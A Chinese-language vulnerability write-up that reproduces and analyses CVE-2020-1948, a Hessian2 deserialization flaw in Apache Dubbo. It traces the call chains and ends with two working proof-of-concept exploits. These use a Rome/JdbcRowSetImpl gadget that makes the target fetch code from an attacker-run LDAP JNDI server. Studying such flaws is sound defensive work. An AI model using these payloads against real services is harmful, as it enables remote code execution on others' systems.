漏洞复现
Version:2.7.3 (dubbo-spring-boot-samples)
JDK:1.8.66
利用公开的Poc进行复现
无法命令执行的原因
*原因1 缺少 Rome依赖,在pom.xml中添加以下依赖
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
*原因2 JDK版本问题,com.sun.rowset.JdbcRowSetImpl在JDK 6u132, 7u122, or 8u113及之后的版本被修复了,可以换低版本jdk尝试
漏洞分析
dubbo rpc 原理
dubbo rpc默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize进行反序列化
dubbo rpc 反序列化调用链
断点调试
在报错处org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker、org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode 、org.apache.dubbo.remoting.RemotingException处设置断点调试
Hessian2Serialization
dubbo rpc默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize进行反序列化
dubbo rpc的反序列化调用链
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgument
org.apache.dubbo.rpc.RpcInvocation.toString
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
org.apache.dubbo.common.serialize.Serialization
org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.lang.Class, java.lang.Class<?>...)
com.alibaba.com.caucho.hessian.io.SerializerFactory#getObjectDeserializer(java.lang.String, java.lang.Class)
com.alibaba.com.caucho.hessian.io.Deserializer
com.alibaba.com.caucho.hessian.io.ClassDeserializer#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer
com.alibaba.com.caucho.hessian.io.JavaDeserializer.FieldDeserializer#deserialize
关键部分分析
1. Hessian2Input#readObject
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
@Override
public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
if (expectedClass == null || expectedClass == Object.class)
return readObject();
int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
switch (tag) {
case 'N':
return null;
case 'H': {
Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);
boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;
// fix deserialize of short type
return reader.readMap(this
, keyValuePair ? expectedTypes[0] : null
, keyValuePair ? expectedTypes[1] : null);
}
case 'M': {
String type = readType();
// hessian/3bb3
if ("".equals(type)) {
Deserializer reader;
reader = findSerializerFactory().getDeserializer(expectedClass);
return reader.readMap(this);
} else {
Deserializer reader;
reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);
return reader.readMap(this);
}
}
case 'C': {
readObjectDefinition(expectedClass);
return readObject(expectedClass);
}
case 0x60:
case 0x61:
case 0x62:
case 0x63:
case 0x64:
case 0x65:
case 0x66:
case 0x67:
case 0x68:
case 0x69:
case 0x6a:
case 0x6b:
case 0x6c:
case 0x6d:
case 0x6e:
case 0x6f: {
int ref = tag - 0x60;
int size = _classDefs.size();
if (ref < 0 || size <= ref)
throw new HessianProtocolException("'" + ref + "' is an unknown class definition");
ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);
return readObjectInstance(expectedClass, def);
}
通过代码发现readObject是根据特定的tag进行相应的数据处理,其中C为类定义,H为键值对,readObjectDefinition 会先对方法传入参数对应的class,进行类定义的读取,然后通过readObjectInstance对expectedClass的判断条件进行实例化
readObjectDefinition
readObjectInstance
2. RemotingException 利用
Rui0的一篇关于toString利用的文章中有提到利用Exception抛出异常输出时隐式调用了Rome的toString方法导致RCE通过分析dubbo,发现如果程序运行异常也会通过org.apache.dubbo.remoting.RemotingException抛错并在控制台输出
就可以先通过com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance 对com.rometools.rome.feed.impl.ToStringBean 和com.sun.rowset.JdbcRowSetImpl 进行实例化,在通过Rome的toString方法调用JdbcRowSetImpl 在org.apache.dubbo.remoting.RemotingException抛错输出时进行JNDI注入
RemotingException异常调用链
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance`
com.alibaba.com.caucho.hessian.io.AbstractHessianInput#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject
com.alibaba.com.caucho.hessian.io.Deserializer#readObject
com.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer#deserialize
com.alibaba.com.caucho.hessian.io.JavaDeserializer.FieldDeserializer#deserialize
com.alibaba.com.caucho.hessian.io.JavaDeserializer#logDeserializeError
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgument
org.apache.dubbo.remoting.RemotingException
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker
org.apache.dubbo.rpc.RpcInvocation#setArguments
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()
org.apache.dubbo.remoting.exchange.Request#setData
org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decodeBody
org.apache.dubbo.remoting.transport.DecodeHandler#received
org.apache.dubbo.remoting.ChannelHandler#received
org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable#run
3. hessian2反序列化限制条件绕过
hessian2通过com.alibaba.com.caucho.hessian.io.JavaDeserializer 类来进行反序列化操作
但是构造方法只有基本类型,没有任何的方法和属性那就只能利用com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject(AbstractHessianInput in, String[] fieldNames)来进行反射
利用com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject的H tag通过HashMap触发key的hashCode方法实现反序列化com.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMap
HashMap调用链
java.util.HashMap#hash
java.lang.Object#hashCode
java.util.HashMap#put
com.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMap
com.alibaba.com.caucho.hessian.io.MapDeserializer#readMap
com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObject
org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody
com.alibaba.com.caucho.hessian.io.SerializerFactory#getDeserializer
com.alibaba.com.caucho.hessian.io.AbstractDeserializer#findSerializerFactory
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode
构造Poc
通过以上分析,有2种反序列化RCE触发方法
1. 在刚传入序列化值时依赖Rome的toString方法通过构造HashMap触发key的hashCode实现反序列化
2. 反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE
Poc1:利用HashMap触发key的hashCode实现反序列化
Code
public class CVE_2020_1948_RomePoc {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:8078/Calc");
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
sf.setAllowNonSerializable(true);
out.setSerializerFactory(sf);
out.writeObject(s);
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("192.168.80.1", 12345);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
执行
Poc2:利用RemotingException抛出异常输出时隐式调用Rome的toString方法RCE
Code
client = DubboClient('192.168.80.1', 12345)
JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource="ldap://192.168.80.1:8078/Calc",strMatchColumns=["foo"])
JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)
toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)
resp = client.send_request_and_return_response(service_name='cn.rui0',method_name='rce',args=[toStringBean])
执行
两个Poc触发RCE时报错对比
参考
*https://www.mail-archive.com/[email protected]/msg06544.html
*http://rui0.cn/archives/1338
*https://threedr3am.github.io/2020/02/14/dubbo源码浅析-默认dubbo协议反序列化利用之hessian2/
来源:freebuf.com 2020-06-29 09:18:27 by: 木子















